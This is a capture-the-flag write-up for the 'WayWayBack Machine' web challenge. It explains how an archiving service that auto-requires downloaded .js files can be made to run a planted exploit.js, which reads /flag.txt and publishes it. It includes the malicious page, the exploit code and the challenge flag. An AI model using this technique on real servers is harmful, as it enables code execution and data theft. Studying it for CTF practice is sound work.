Use the tree to jump between collections without leaving the reader.

archive Select writeup Open tree
BatmansKitchenCTF/Writeup WayWaybackMachine.en.md READ_ONLY

WayWayBack Machine

Challenge Data

Field Value
CTF Batman's Kitchen CTF
Challenge WayWayBack Machine
Category Web
Context "I got tired of having to dig around the internet for old files so I started archiving them myself."
Flag bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10}

Challenge Description

The application received a URL, a bot visited it, and stored an HTML snapshot. It also downloaded linked resources and later loaded them again.


Reconnaissance

Looking at the flow, the server parsed <link href="..."> tags from the captured HTML and downloaded each resource into the snapshots/ directory. If I could make it archive a page I controlled, then I could also make it store files of my choosing inside that directory.

That was already an interesting hint, but the really dangerous part only became clear when visiting any existing snapshot.


Analysis

Before serving a snapshot, the application iterated over the contents of SNAPSHOTS_DIR and did require() on every .js file it found there.

async function preloadSnapshotResources() {
  const entries = fs.readdirSync(SNAPSHOTS_DIR, { withFileTypes: true });
  for (const entry of entries) {
    if (path.extname(entry.name) === ".js") {
      require(filePath);
    }
  }
}

That was the whole bug. Since the bot downloaded external resources into the same directory from which Node later loaded JavaScript, it was possible to drop a malicious .js into snapshots/ and get code execution on the server.

The attack chain looked like this.

  1. Publish our own page with a <link> pointing to a .js.
  2. Make the bot archive that page.
  3. Wait for the .js to be stored in snapshots/.
  4. Visit any snapshot to trigger the require().
  5. Read /flag.txt and write it into another file accessible from the web.

Once it was framed like that, the challenge looked very different. It was not just an archive system. It was a system that downloaded user controlled content and then executed it.


Solution

The malicious page could be as simple as this.

<html>
  <head>
    <link rel="stylesheet" href="/exploit.js">
  </head>
  <body>
    <p>Archiving this page</p>
  </body>
</html>

And the exploit.js could be this.

const fs = require("fs");
const path = require("path");

try {
  const flag = fs.readFileSync("/flag.txt", "utf8");
  fs.writeFileSync(
    path.join(__dirname, "flag_exfil.html"),
    `<html><body><h1>${flag}</h1></body></html>`
  );
} catch (e) {}

After that, the steps were straightforward.

  1. Host that content at a public URL.
  2. Send it to the snapshot creation endpoint.
  3. Wait for the process to finish.
  4. Visit a snapshot to trigger the .js load.
  5. Open /snapshot/flag_exfil and read the flag.

La vulnerabilidad estaba en que el mismo directorio usado para guardar recursos descargados también terminaba siendo una superficie de ejecución.


Flag

bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10}